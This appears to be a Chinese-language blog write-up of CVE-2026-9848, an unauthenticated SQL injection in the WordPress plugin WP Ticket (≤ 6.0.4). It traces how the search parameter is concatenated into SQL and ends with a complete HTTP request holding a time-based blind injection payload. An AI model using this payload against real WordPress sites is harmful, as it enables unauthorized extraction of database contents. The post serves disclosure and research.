CVE-2026-9848 => WP Ticket 插件未授权 SQL 注入
WP Ticket <= 6.0.4
3月份让 ai 随便找了个插件审计,过了两个月终于通过了
在对这款下载量只有 500+ 的插件进行代码审计时,发现其通过 posts_request 过滤器修改 WordPress 原始查询 SQL,并在拼接过程中直接使用用户输入,最终形成 SQL 注入漏洞。
0x01 入口
插件注册了如下 Hook:
1
| add_filter('posts_request', 'wp_ticket_com_posts_request', 99, 2);
|
该 HOOK 的作用是在 WordPress 执行 SQL 查询前,允许开发者修改最终 SQL 语句,最终 SQL 语句就是wp_ticket_com_posts_request的返回值
query-filters.php (line 54)
1 2 3 4 5 6 7 8 9
| function wp_ticket_com_posts_request($input, $query){ global $wpdb; if (!is_admin() && $query->is_main_query() && is_search()) { $input = emd_author_search_results('wp_ticket_com', $input, $query, 'search'); } elseif (!is_admin() && $query->is_main_query() && is_author()) { $input = emd_author_search_results('wp_ticket_com', $input, $query, 'author'); } return $input; }
|
- is_search() → 对应 / ?s=xxx
- !is_admin() → 前台,未登录用户可访问
- is_main_query() → 主查询
所以对于第一个 if 判断 未认证用户访问搜索页面即可触发该函数
0x03 漏洞核心函数
真正拼 SQL 的地方在 common-functions.php (line 163)
1 2 3
| $search = $query->query_vars['s']; ..... $input_add .= "(" . $wpdb->posts . ".post_title LIKE '%" . $search . "%') OR (" . $wpdb->posts . ".post_content LIKE '%" . $search . "%'))";
|
用户输入直接拼接进 SQL
数据流(Source → Sink)
1 2 3 4 5 6 7 8 9 10 11 12 13
| /?s=payload ↓ $query->query_vars['s'] ↓ emd_author_search_results() ↓ SQL 拼接(LIKE '%payload%') ↓ posts_request return ↓ $wpdb->get_results() ↓ 数据库执行
|
数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| GET /?s=%')OR(if(substr(database(),1,1)='w',sleep(0.1),1))OR('% HTTP/1.1 Host: localhost:8000 sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: keep-alive
|

最后也是豪取 20$ 赏金,又要到饭了家人们
